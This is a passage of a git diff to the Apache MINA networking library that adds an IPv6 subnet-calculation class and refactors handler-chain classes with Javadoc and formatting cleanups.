4-element array + */ + private static int[] toArray4(final int val) { + final int[] ret = new int[4]; + for (int j = 3; j >= 0; --j) { + ret[j] |= val >>> 8 * (3 - j) & 0xff; + } + return ret; + } + + /** + * Converts a dotted decimal format address to a packed integer format. + */ + private static int toInteger(final String address) { + final Matcher matcher = ADDRESS_PATTERN.matcher(address); + if (matcher.matches()) { + return matchAddress(matcher); + } + throw new IllegalArgumentException(String.format(PARSE_FAIL, address)); + } + + private final int address; + + private final int broadcast; + + /** Whether the broadcast/network address are included in host count */ + private boolean inclusiveHostCount; + + private final int netmask; + + private final int network; + + /** + * Constructs an instance from a CIDR-notation string, e.g. "192.168.0.1/16" + * + * @param cidrNotation A CIDR-notation string, e.g. "192.168.0.1/16" + * @throws IllegalArgumentException if the parameter is invalid, i.e. does not match n.n.n.n/m where n=1-3 decimal digits, m = 1-2 decimal digits in range + * 0-32 + */ + public SubnetUtils(final String cidrNotation) { + final Matcher matcher = CIDR_PATTERN.matcher(cidrNotation); + + if (!matcher.matches()) { + throw new IllegalArgumentException(String.format(PARSE_FAIL, cidrNotation)); + } + this.address = matchAddress(matcher); + + // Create a binary netmask from the number of bits specification /x + + final int trailingZeroes = NBITS - rangeCheck(Integer.parseInt(matcher.group(5)), 0, NBITS); + + // + // An IPv4 netmask consists of 32 bits, a contiguous sequence + // of the specified number of ones followed by all zeros. + // So, it can be obtained by shifting an unsigned integer (32 bits) to the left by + // the number of trailing zeros which is (32 - the # bits specification). + // Note that there is no unsigned left shift operator, so we have to use + // a long to ensure that the left-most bit is shifted out correctly. + // + this.netmask = (int) (0x0FFFFFFFFL << trailingZeroes); + + // Calculate base network address + this.network = address & netmask; + + // Calculate broadcast address + this.broadcast = network | ~netmask; + } + + /** + * Constructs an instance from a dotted decimal address and a dotted decimal mask. + * + * @param address An IP address, e.g. "192.168.0.1" + * @param mask A dotted decimal netmask e.g. "255.255.0.0" + * @throws IllegalArgumentException if the address or mask is invalid, i.e. does not match n.n.n.n where n=1-3 decimal digits and the mask is not all zeros + */ + public SubnetUtils(final String address, final String mask) { + this.address = toInteger(address); + this.netmask = toInteger(mask); + + if ((this.netmask & -this.netmask) - 1 != ~this.netmask) { + throw new IllegalArgumentException(String.format(PARSE_FAIL, mask)); + } + + // Calculate base network address + this.network = this.address & this.netmask; + + // Calculate broadcast address + this.broadcast = this.network | ~this.netmask; + } + + /** + * Gets a {@link SubnetInfo} instance that contains subnet-specific statistics + * + * @return new instance + */ + public final SubnetInfo getInfo() { + return new SubnetInfo(); + } + + /** + * Gets the next subnet for this instance. + * + * @return the next subnet for this instance. + */ + public SubnetUtils getNext() { + return new SubnetUtils(getInfo().getNextAddress(), getInfo().getNetmask()); + } + + /** + * Gets the previous subnet for this instance. + * + * @return the next previous for this instance. + */ + public SubnetUtils getPrevious() { + return new SubnetUtils(getInfo().getPreviousAddress(), getInfo().getNetmask()); + } + + /** + * Tests if the return value of {@link SubnetInfo#getAddressCount()} includes the network and broadcast addresses. + * + * @return true if the host count includes the network and broadcast addresses + * @since 2.2 + */ + public boolean isInclusiveHostCount() { + return inclusiveHostCount; + } + + /** + * Sets to {@code true} if you want the return value of {@link SubnetInfo#getAddressCount()} to include the network and broadcast addresses. This also + * applies to {@link SubnetInfo#isInRange(int)} + * + * @param inclusiveHostCount true if network and broadcast addresses are to be included + * @since 2.2 + */ + public void setInclusiveHostCount(final boolean inclusiveHostCount) { + this.inclusiveHostCount = inclusiveHostCount; + } + + /** + * Converts this instance to a debug String. + * + * @return {@code this} instance to a debug String. + * @since 3.11.0 + */ + @Override + public String toString() { + return getInfo().toString(); + } +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/util/SubnetUtils6.java b/mina-core/src/main/java/org/apache/mina/filter/util/SubnetUtils6.java new file mode 100644 index 0000000000..c47a158c8e --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/util/SubnetUtils6.java @@ -0,0 +1,333 @@ +/* +* Licensed to the Apache Software Foundation (ASF) under one or more +* contributor license agreements. See the NOTICE file distributed with +* this work for additional information regarding copyright ownership. +* The ASF licenses this file to You under the Apache License, Version 2.0 +* (the "License"); you may not use this file except in compliance with +* the License. You may obtain a copy of the License at +* +* https://www.apache.org/licenses/LICENSE-2.0 +* +* Unless required by applicable law or agreed to in writing, software +* distributed under the License is distributed on an "AS IS" BASIS, +* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +* See the License for the specific language governing permissions and +* limitations under the License. +*/ +package org.apache.mina.filter.util; + +import java.math.BigInteger; +import java.net.Inet6Address; +import java.net.InetAddress; +import java.net.UnknownHostException; + +/** +* Performs subnet calculations given an IPv6 network address and a prefix length. +*

    +* This is the IPv6 equivalent of {@link SubnetUtils}. Addresses are parsed and formatted +* using {@link InetAddress}, which accepts the text representations described in +* RFC 5952. +*

    +* +* This class is extracted from Apache commons-net project +* @see SubnetUtils +* @see RFC 5952 - A Recommendation for IPv6 Address Text Representation +* @since 3.13.0 +*/ +public class SubnetUtils6 { + + /** + * Contains IPv6 subnet summary information. + */ + public final class SubnetInfo { + + private SubnetInfo() { } + + /** + * Gets the address used to initialize this subnet. + * + * @return the address as a string in standard IPv6 format. + */ + public String getAddress() { + return format(address); + } + + /** + * Gets the count of available addresses in this subnet. + *

    + * For IPv6, this can be astronomically large. A /64 subnet has 2^64 addresses. + *

    + * + * @return the count of addresses as a BigInteger. + */ + public BigInteger getAddressCount() { + // 2^(128 - prefixLength) + return TWO.pow(NBITS - prefixLength); + } + + /** + * Gets the CIDR notation for this subnet. + * + * @return the CIDR signature (e.g., "2001:db8::1/64"). + */ + public String getCidrSignature() { + return format(address) + "/" + prefixLength; + } + + /** + * Gets the highest address in this subnet. + * + * @return the high address as a string in standard IPv6 format. + */ + public String getHighAddress() { + return format(high); + } + + /** + * Gets the lowest address in this subnet (the network address). + * + * @return the low address as a string in standard IPv6 format. + */ + public String getLowAddress() { + return format(network); + } + + /** + * Gets the network address for this subnet. + * + * @return the network address as a string in standard IPv6 format. + */ + public String getNetworkAddress() { + return format(network); + } + + /** + * Gets the prefix length for this subnet. + * + * @return the prefix length (0-128). + */ + public int getPrefixLength() { + return prefixLength; + } + + /** + * Tests if the given address is within this subnet range. + * + * @param addr the IPv6 address to test (as a BigInteger). + * @return true if the address is in range. + */ + public boolean isInRange(final BigInteger addr) { + if (addr == null) { + return false; + } + return addr.compareTo(network) >= 0 && addr.compareTo(high) <= 0; + } + + /** + * Tests if the given address is within this subnet range. + * + * @param addr the IPv6 address to test as a byte array (16 bytes). + * @return true if the address is in range. + */ + public boolean isInRange(final byte[] addr) { + if (addr == null || addr.length != 16) { + return false; + } + return isInRange(new BigInteger(1, addr)); + } + + /** + * Tests if the given address is within this subnet range. + * + * @param addr the IPv6 address to test. + * @return true if the address is in range. + */ + public boolean isInRange(final Inet6Address addr) { + if (addr == null) { + return false; + } + return isInRange(addr.getAddress()); + } + + /** + * Tests if the given address is within this subnet range. + * + * @param addr the IPv6 address to test as a string. + * @return true if the address is in range. + * @throws IllegalArgumentException if the address cannot be parsed. + */ + public boolean isInRange(final String addr) { + return isInRange(toBytes(addr)); + } + + /** + * Returns a summary of this subnet for debugging. + * + * @return a multi-line debug string summarizing this subnet. + */ + @Override + public String toString() { + final StringBuilder buf = new StringBuilder(); + buf.append("CIDR Signature:\t[").append(getCidrSignature()).append("]\n") + .append(" Network: [").append(getNetworkAddress()).append("]\n") + .append(" First address: [").append(getLowAddress()).append("]\n") + .append(" Last address: [").append(getHighAddress()).append("]\n") + .append(" Address Count: [").append(getAddressCount()).append("]\n"); + return buf.toString(); + } + } + + private static final int NBITS = 128; + private static final String PARSE_FAIL = "Could not parse [%s]"; + private static final BigInteger TWO = BigInteger.valueOf(2); + private static final BigInteger MAX_VALUE = TWO.pow(NBITS).subtract(BigInteger.ONE); + + /** + * Formats a BigInteger as an IPv6 address string using {@link InetAddress#getHostAddress()}. + * + * @param addr the address as a BigInteger. + * @return the formatted IPv6 address string. + * @see RFC 5952 + */ + private static String format(final BigInteger addr) { + final byte[] bytes = toByteArray16(addr); + try { + return InetAddress.getByAddress(bytes).getHostAddress(); + } catch (final UnknownHostException e) { + // Should never happen with a valid 16-byte array + throw new IllegalStateException("Unexpected error formatting IPv6 address", e); + } + } + + /** + * Converts a BigInteger to a 16-byte array, padding with leading zeros if necessary. + * + * @param value the BigInteger to convert. + * @return a 16-byte array. + */ + private static byte[] toByteArray16(final BigInteger value) { + final byte[] raw = value.toByteArray(); + if (raw.length == 16) { + return raw; + } + final byte[] result = new byte[16]; + if (raw.length > 16) { + // BigInteger may have a leading sign byte; skip it + System.arraycopy(raw, raw.length - 16, result, 0, 16); + } else { + // Pad with leading zeros + System.arraycopy(raw, 0, result, 16 - raw.length, raw.length); + } + return result; + } + + /** + * Parses an IPv6 address string to a byte array. + * + * @param address the IPv6 address string. + * @return the 16-byte representation. + * @throws IllegalArgumentException if the address cannot be parsed. + */ + private static byte[] toBytes(final String address) { + try { + final InetAddress inetAddr = InetAddress.getByName(address); + if (inetAddr instanceof Inet6Address) { + return inetAddr.getAddress(); + } + throw new IllegalArgumentException(String.format(PARSE_FAIL, address) + " - not an IPv6 address"); + } catch (final UnknownHostException e) { + throw new IllegalArgumentException(String.format(PARSE_FAIL, address), e); + } + } + + private final BigInteger address; + private final BigInteger high; + private final BigInteger network; + private final int prefixLength; + + /** + * Constructs an instance from a CIDR-notation string, e.g., "2001:db8::1/64". + * + * @param cidrNotation a CIDR-notation string, e.g., "2001:db8::1/64". + * @throws IllegalArgumentException if the parameter is invalid. + */ + public SubnetUtils6(final String cidrNotation) { + if (cidrNotation == null) { + throw new IllegalArgumentException(String.format(PARSE_FAIL, "null") + " - null input"); + } + + final int slashIndex = cidrNotation.indexOf('/'); + if (slashIndex < 0) { + throw new IllegalArgumentException(String.format(PARSE_FAIL, cidrNotation) + " - missing prefix length"); + } + + final String addressPart = cidrNotation.substring(0, slashIndex); + final String prefixPart = cidrNotation.substring(slashIndex + 1); + + // Parse and validate prefix length + try { + this.prefixLength = Integer.parseInt(prefixPart); + } catch (final NumberFormatException e) { + throw new IllegalArgumentException(String.format(PARSE_FAIL, cidrNotation) + " - invalid prefix length", e); + } + + if (this.prefixLength < 0 || this.prefixLength > NBITS) { + throw new IllegalArgumentException(String.format(PARSE_FAIL, cidrNotation) + + " - prefix length must be between 0 and " + NBITS); + } + + // Parse and validate IPv6 address + final byte[] addressBytes = toBytes(addressPart); + this.address = new BigInteger(1, addressBytes); + + // Create netmask: prefixLength 1-bits followed by (128 - prefixLength) 0-bits + final BigInteger netmask; + if (this.prefixLength == 0) { + netmask = BigInteger.ZERO; + } else { + netmask = MAX_VALUE.shiftLeft(NBITS - this.prefixLength).and(MAX_VALUE); + } + + // Calculate network address + this.network = this.address.and(netmask); + + // Calculate the highest address in the range + final BigInteger hostmask = MAX_VALUE.xor(netmask); + this.high = this.network.or(hostmask); + } + + /** + * Constructs an instance from an IPv6 address and prefix length. + * + * @param address an IPv6 address, e.g., "2001:db8::1". + * @param prefixLength the prefix length (0-128). + * @throws IllegalArgumentException if the parameters are invalid. + */ + public SubnetUtils6(final String address, final int prefixLength) { + this(address + "/" + prefixLength); + } + + /** + * Gets a {@link SubnetInfo} instance that contains subnet-specific statistics. + * + * @return a new SubnetInfo instance. + */ + public SubnetInfo getInfo() { + return new SubnetInfo(); + } + + /** + * Returns a summary of this subnet for debugging. + *

    + * Delegates to {@link SubnetInfo#toString()}. This is a diagnostic format and is not suitable for parsing. + * Use {@link SubnetInfo#getCidrSignature()} to obtain a string that can be fed back into + * {@link #SubnetUtils6(String)}. + *

    + * + * @return a multi-line debug string summarizing this subnet. + */ + @Override + public String toString() { + return getInfo().toString(); + } +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/util/WriteRequestFilter.java b/mina-core/src/main/java/org/apache/mina/filter/util/WriteRequestFilter.java deleted file mode 100644 index 17f6d8d20e..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/util/WriteRequestFilter.java +++ /dev/null @@ -1,88 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.filter.util; - -import org.apache.mina.core.filterchain.IoFilter; -import org.apache.mina.core.filterchain.IoFilterAdapter; -import org.apache.mina.core.session.IoEventType; -import org.apache.mina.core.session.IoSession; -import org.apache.mina.core.write.WriteRequest; -import org.apache.mina.core.write.WriteRequestWrapper; - -/** - * An abstract {@link IoFilter} that simplifies the implementation of - * an {@link IoFilter} that filters an {@link IoEventType#WRITE} event. - * - * @author Apache MINA Project - * - */ -public abstract class WriteRequestFilter extends IoFilterAdapter { - @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { - Object filteredMessage = doFilterWrite(nextFilter, session, writeRequest); - if (filteredMessage != null && filteredMessage != writeRequest.getMessage()) { - nextFilter.filterWrite( - session, new FilteredWriteRequest( - filteredMessage, writeRequest)); - } else { - nextFilter.filterWrite(session, writeRequest); - } - } - - @Override - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { - if (writeRequest instanceof FilteredWriteRequest) { - FilteredWriteRequest req = (FilteredWriteRequest) writeRequest; - if (req.getParent() == this) { - nextFilter.messageSent(session, req.getParentRequest()); - return; - } - } - - nextFilter.messageSent(session, writeRequest); - } - - protected abstract Object doFilterWrite( - NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception; - - private class FilteredWriteRequest extends WriteRequestWrapper { - private final Object filteredMessage; - - public FilteredWriteRequest(Object filteredMessage, WriteRequest writeRequest) { - super(writeRequest); - - if (filteredMessage == null) { - throw new IllegalArgumentException("filteredMessage"); - } - this.filteredMessage = filteredMessage; - } - - public WriteRequestFilter getParent() { - return WriteRequestFilter.this; - } - - @Override - public Object getMessage() { - return filteredMessage; - } - } -} diff --git a/mina-core/src/main/java/org/apache/mina/filter/util/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/util/package-info.java new file mode 100644 index 0000000000..2456f94332 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/util/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Utility classes for the MINA filtering portion of the library. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.util; diff --git a/mina-core/src/main/java/org/apache/mina/filter/util/package.html b/mina-core/src/main/java/org/apache/mina/filter/util/package.html deleted file mode 100644 index 54e7503128..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/util/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Utility classes for the MINA filtering portion of the library. - - diff --git a/mina-core/src/main/java/org/apache/mina/handler/chain/ChainedIoHandler.java b/mina-core/src/main/java/org/apache/mina/handler/chain/ChainedIoHandler.java index 6d4e8c4e74..c301d4a588 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/chain/ChainedIoHandler.java +++ b/mina-core/src/main/java/org/apache/mina/handler/chain/ChainedIoHandler.java @@ -25,7 +25,7 @@ /** * An {@link IoHandler} which executes an {@link IoHandlerChain} - * on a messageReceived event. + * on a messageReceived event. * * @author Apache MINA Project */ @@ -41,7 +41,7 @@ public ChainedIoHandler() { /** * Creates a new instance which executes the specified - * {@link IoHandlerChain} on a messageReceived event. + * {@link IoHandlerChain} on a messageReceived event. * * @param chain an {@link IoHandlerChain} to execute */ @@ -49,25 +49,25 @@ public ChainedIoHandler(IoHandlerChain chain) { if (chain == null) { throw new IllegalArgumentException("chain"); } + this.chain = chain; } /** - * Returns the {@link IoHandlerCommand} this handler will use to - * handle messageReceived events. + * @return the {@link IoHandlerCommand} this handler will use to + * handle messageReceived events. */ public IoHandlerChain getChain() { return chain; } /** - * Handles the specified messageReceived event with the + * Handles the specified messageReceived event with the * {@link IoHandlerCommand} or {@link IoHandlerChain} you specified * in the constructor. */ @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { chain.execute(null, session, message); } } diff --git a/mina-core/src/main/java/org/apache/mina/handler/chain/IoHandlerChain.java b/mina-core/src/main/java/org/apache/mina/handler/chain/IoHandlerChain.java index f2e3b8a4df..6fef86a2d9 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/chain/IoHandlerChain.java +++ b/mina-core/src/main/java/org/apache/mina/handler/chain/IoHandlerChain.java @@ -37,13 +37,14 @@ public class IoHandlerChain implements IoHandlerCommand { private final int id = nextId++; - private final String NEXT_COMMAND = IoHandlerChain.class.getName() + '.' - + id + ".nextCommand"; + private final String NEXT_COMMAND = IoHandlerChain.class.getName() + '.' + id + ".nextCommand"; - private final Map name2entry = new ConcurrentHashMap(); + private final Map name2entry = new ConcurrentHashMap<>(); + /** The head of the IoHandlerCommand chain */ private final Entry head; + /** THe tail of the IoHandlerCommand chain */ private final Entry tail; /** @@ -57,8 +58,11 @@ public IoHandlerChain() { private IoHandlerCommand createHeadCommand() { return new IoHandlerCommand() { - public void execute(NextCommand next, IoSession session, - Object message) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void execute(NextCommand next, IoSession session, Object message) throws Exception { next.execute(session, message); } }; @@ -66,9 +70,13 @@ public void execute(NextCommand next, IoSession session, private IoHandlerCommand createTailCommand() { return new IoHandlerCommand() { - public void execute(NextCommand next, IoSession session, - Object message) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void execute(NextCommand next, IoSession session, Object message) throws Exception { next = (NextCommand) session.getAttribute(NEXT_COMMAND); + if (next != null) { next.execute(session, message); } @@ -76,16 +84,30 @@ public void execute(NextCommand next, IoSession session, }; } + /** + * Retrieve a name-command pair by its name + * @param name The name of the {@link IoHandlerCommand} we are looking for + * @return The associated name-command pair, if any, null otherwise + */ public Entry getEntry(String name) { Entry e = name2entry.get(name); + if (e == null) { return null; } + return e; } + /** + * Retrieve a {@link IoHandlerCommand} by its name + * + * @param name The name of the {@link IoHandlerCommand} we are looking for + * @return The associated {@link IoHandlerCommand}, if any, null otherwise + */ public IoHandlerCommand get(String name) { Entry e = getEntry(name); + if (e == null) { return null; } @@ -93,8 +115,16 @@ public IoHandlerCommand get(String name) { return e.getCommand(); } + /** + * Retrieve the {@link IoHandlerCommand} following the {@link IoHandlerCommand} we + * fetched by its name + * + * @param name The name of the {@link IoHandlerCommand} + * @return The {@link IoHandlerCommand} which is next to teh ngiven name, if any, null otherwise + */ public NextCommand getNextCommand(String name) { Entry e = getEntry(name); + if (e == null) { return null; } @@ -102,47 +132,81 @@ public NextCommand getNextCommand(String name) { return e.getNextCommand(); } + /** + * Adds a name-command pair into the chain + * + * @param name The name + * @param command The command + */ public synchronized void addFirst(String name, IoHandlerCommand command) { checkAddable(name); register(head, name, command); } + /** + * Adds a name-command at the end of the chain + * + * @param name The name + * @param command The command + */ public synchronized void addLast(String name, IoHandlerCommand command) { checkAddable(name); register(tail.prevEntry, name, command); } - public synchronized void addBefore(String baseName, String name, - IoHandlerCommand command) { + /** + * Adds a name-command before a given name-command in the chain + * + * @param baseName The {@linkplain IoHandlerCommand} name before which we will inject a new name-command + * @param name The name The name + * @param command The command The command + */ + public synchronized void addBefore(String baseName, String name, IoHandlerCommand command) { Entry baseEntry = checkOldName(baseName); checkAddable(name); register(baseEntry.prevEntry, name, command); } - public synchronized void addAfter(String baseName, String name, - IoHandlerCommand command) { + /** + * Adds a name-command after a given name-command in the chain + * + * @param baseName The {@link IoHandlerCommand} name after which we will inject a new name-command + * @param name The name The name + * @param command The command The command + */ + public synchronized void addAfter(String baseName, String name, IoHandlerCommand command) { Entry baseEntry = checkOldName(baseName); checkAddable(name); register(baseEntry, name, command); } + /** + * Removes a {@link IoHandlerCommand} by its name + * + * @param name The name + * @return The removed {@link IoHandlerCommand} + */ public synchronized IoHandlerCommand remove(String name) { Entry entry = checkOldName(name); deregister(entry); + return entry.getCommand(); } + /** + * Remove all the {@link IoHandlerCommand} from the chain + * @throws Exception If we faced some exception during the cleanup + */ public synchronized void clear() throws Exception { - Iterator it = new ArrayList(name2entry.keySet()) - .iterator(); + Iterator it = new ArrayList<>(name2entry.keySet()).iterator(); + while (it.hasNext()) { - this.remove(it.next()); + remove(it.next()); } } private void register(Entry prevEntry, String name, IoHandlerCommand command) { - Entry newEntry = new Entry(prevEntry, prevEntry.nextEntry, name, - command); + Entry newEntry = new Entry(prevEntry, prevEntry.nextEntry, name, command); prevEntry.nextEntry.prevEntry = newEntry; prevEntry.nextEntry = newEntry; @@ -165,10 +229,11 @@ private void deregister(Entry entry) { */ private Entry checkOldName(String baseName) { Entry e = name2entry.get(baseName); + if (e == null) { - throw new IllegalArgumentException("Unknown filter name:" - + baseName); + throw new IllegalArgumentException("Unknown filter name:" + baseName); } + return e; } @@ -177,13 +242,15 @@ private Entry checkOldName(String baseName) { */ private void checkAddable(String name) { if (name2entry.containsKey(name)) { - throw new IllegalArgumentException( - "Other filter is using the same name '" + name + "'"); + throw new IllegalArgumentException("Other filter is using the same name '" + name + "'"); } } - public void execute(NextCommand next, IoSession session, Object message) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void execute(NextCommand next, IoSession session, Object message) throws Exception { if (next != null) { session.setAttribute(NEXT_COMMAND, next); } @@ -195,14 +262,17 @@ public void execute(NextCommand next, IoSession session, Object message) } } - private void callNextCommand(Entry entry, IoSession session, Object message) - throws Exception { + private void callNextCommand(Entry entry, IoSession session, Object message) throws Exception { entry.getCommand().execute(entry.getNextCommand(), session, message); } + /** + * @return The list of name-commands registered into the chain + */ public List getAll() { - List list = new ArrayList(); + List list = new ArrayList<>(); Entry e = head.nextEntry; + while (e != tail) { list.add(e); e = e.nextEntry; @@ -211,20 +281,37 @@ public List getAll() { return list; } + /** + * @return A reverted list of the registered name-commands + */ public List getAllReversed() { - List list = new ArrayList(); + List list = new ArrayList<>(); Entry e = tail.prevEntry; + while (e != head) { list.add(e); e = e.prevEntry; } + return list; } + /** + * Checks if the chain of {@link IoHandlerCommand} contains a {@link IoHandlerCommand} by its name + * + * @param name The {@link IoHandlerCommand} name + * @return TRUE if the {@link IoHandlerCommand} is found in the chain + */ public boolean contains(String name) { return getEntry(name) != null; } + /** + * Checks if the chain of {@link IoHandlerCommand} contains a specific {@link IoHandlerCommand} + * + * @param command The {@link IoHandlerCommand} we are looking for + * @return TRUE if the {@link IoHandlerCommand} is found in the chain + */ public boolean contains(IoHandlerCommand command) { Entry e = head.nextEntry; while (e != tail) { @@ -236,17 +323,29 @@ public boolean contains(IoHandlerCommand command) { return false; } + /** + * Checks if the chain of {@link IoHandlerCommand} contains a specific {@link IoHandlerCommand} + * + * @param commandType The type of {@link IoHandlerCommand} we are looking for + * @return TRUE if the {@link IoHandlerCommand} is found in the chain + */ public boolean contains(Class commandType) { Entry e = head.nextEntry; + while (e != tail) { if (commandType.isAssignableFrom(e.getCommand().getClass())) { return true; } + e = e.nextEntry; } + return false; } + /** + * {@inheritDoc} + */ @Override public String toString() { StringBuilder buf = new StringBuilder(); @@ -255,6 +354,7 @@ public String toString() { boolean empty = true; Entry e = head.nextEntry; + while (e != tail) { if (!empty) { buf.append(", "); @@ -296,11 +396,11 @@ public class Entry { private final NextCommand nextCommand; - private Entry(Entry prevEntry, Entry nextEntry, String name, - IoHandlerCommand command) { + private Entry(Entry prevEntry, Entry nextEntry, String name, IoHandlerCommand command) { if (command == null) { throw new IllegalArgumentException("command"); } + if (name == null) { throw new IllegalArgumentException("name"); } @@ -310,30 +410,32 @@ private Entry(Entry prevEntry, Entry nextEntry, String name, this.name = name; this.command = command; this.nextCommand = new NextCommand() { - public void execute(IoSession session, Object message) - throws Exception { - Entry nextEntry = Entry.this.nextEntry; - callNextCommand(nextEntry, session, message); + /** + * {@inheritDoc} + */ + @Override + public void execute(IoSession session, Object message) throws Exception { + callNextCommand(Entry.this.nextEntry, session, message); } }; } /** - * Returns the name of the command. + * @return the name of the command. */ public String getName() { return name; } /** - * Returns the command. + * @return the command. */ public IoHandlerCommand getCommand() { return command; } /** - * Returns the {@link IoHandlerCommand.NextCommand} of the command. + * @return the {@link IoHandlerCommand.NextCommand} of the command. */ public NextCommand getNextCommand() { return nextCommand; diff --git a/mina-core/src/main/java/org/apache/mina/handler/chain/IoHandlerCommand.java b/mina-core/src/main/java/org/apache/mina/handler/chain/IoHandlerCommand.java index e60f0ebba3..d74e8d0d2c 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/chain/IoHandlerCommand.java +++ b/mina-core/src/main/java/org/apache/mina/handler/chain/IoHandlerCommand.java @@ -73,8 +73,7 @@ public interface IoHandlerCommand { * @exception Exception general purpose exception return * to indicate abnormal termination */ - void execute(NextCommand next, IoSession session, Object message) - throws Exception; + void execute(NextCommand next, IoSession session, Object message) throws Exception; /** * Represents an indirect reference to the next {@link IoHandlerCommand} of @@ -83,10 +82,14 @@ void execute(NextCommand next, IoSession session, Object message) * * @author Apache MINA Project */ - public interface NextCommand { + interface NextCommand { /** * Forwards the request to the next {@link IoHandlerCommand} in the * {@link IoHandlerChain}. + * + * @param session The current session + * @param message The message to pass on + * @throws Exception If anything went wrong */ void execute(IoSession session, Object message) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/handler/chain/package-info.java b/mina-core/src/main/java/org/apache/mina/handler/chain/package-info.java new file mode 100644 index 0000000000..653590af3e --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/handler/chain/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * A handler implementation that helps you implement sequentially layered protocols using Chains of Responsibility pattern. + * + * @author Apache MINA Project + */ +package org.apache.mina.handler.chain; diff --git a/mina-core/src/main/java/org/apache/mina/handler/chain/package.html b/mina-core/src/main/java/org/apache/mina/handler/chain/package.html deleted file mode 100644 index 34ff8c9eff..0000000000 --- a/mina-core/src/main/java/org/apache/mina/handler/chain/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -A handler implementation that helps you implement sequentially layered protocols -using Chains of Responsibility pattern. - - diff --git a/mina-core/src/main/java/org/apache/mina/handler/demux/DemuxingIoHandler.java b/mina-core/src/main/java/org/apache/mina/handler/demux/DemuxingIoHandler.java index ba02457e6e..243a2ba12d 100644 --- a/mina-core/src/main/java/org/apache/mina/handler/demux/DemuxingIoHandler.java +++ b/mina-core/src/main/java/org/apache/mina/handler/demux/DemuxingIoHandler.java @@ -37,7 +37,6 @@ * You can freely register and deregister {@link MessageHandler}s using * {@link #addReceivedMessageHandler(Class, MessageHandler)} and * {@link #removeReceivedMessageHandler(Class)}. - *

    *

    * When message is received through a call to * {@link #messageReceived(IoSession, Object)} the class of the @@ -48,7 +47,6 @@ * order. If no match can be found for any of the interfaces the search will be * repeated recursively for the superclass of the immediate class * (i.e. message.getClass().getSuperclass()). - *

    *

    * Consider the following type hierarchy (Cx are classes while * Ix are interfaces): @@ -67,34 +65,26 @@ * When message is of type C3 this hierarchy will be * searched in the following order: * C3, I7, I8, I9, I3, I4, C2, I5, I6, C1, I1, I2, I3, I4, Object. - *

    *

    * For efficiency searches will be cached. Calls to * {@link #addReceivedMessageHandler(Class, MessageHandler)} and * {@link #removeReceivedMessageHandler(Class)} clear this cache. - *

    * * @author Apache MINA Project */ public class DemuxingIoHandler extends IoHandlerAdapter { - - private final Map, MessageHandler> receivedMessageHandlerCache = - new ConcurrentHashMap, MessageHandler>(); - private final Map, MessageHandler> receivedMessageHandlers = - new ConcurrentHashMap, MessageHandler>(); + private final Map, MessageHandler> receivedMessageHandlerCache = new ConcurrentHashMap<>(); - private final Map, MessageHandler> sentMessageHandlerCache = - new ConcurrentHashMap, MessageHandler>(); + private final Map, MessageHandler> receivedMessageHandlers = new ConcurrentHashMap<>(); - private final Map, MessageHandler> sentMessageHandlers = - new ConcurrentHashMap, MessageHandler>(); + private final Map, MessageHandler> sentMessageHandlerCache = new ConcurrentHashMap<>(); - private final Map, ExceptionHandler> exceptionHandlerCache = - new ConcurrentHashMap, ExceptionHandler>(); + private final Map, MessageHandler> sentMessageHandlers = new ConcurrentHashMap<>(); - private final Map, ExceptionHandler> exceptionHandlers = - new ConcurrentHashMap, ExceptionHandler>(); + private final Map, ExceptionHandler> exceptionHandlerCache = new ConcurrentHashMap<>(); + + private final Map, 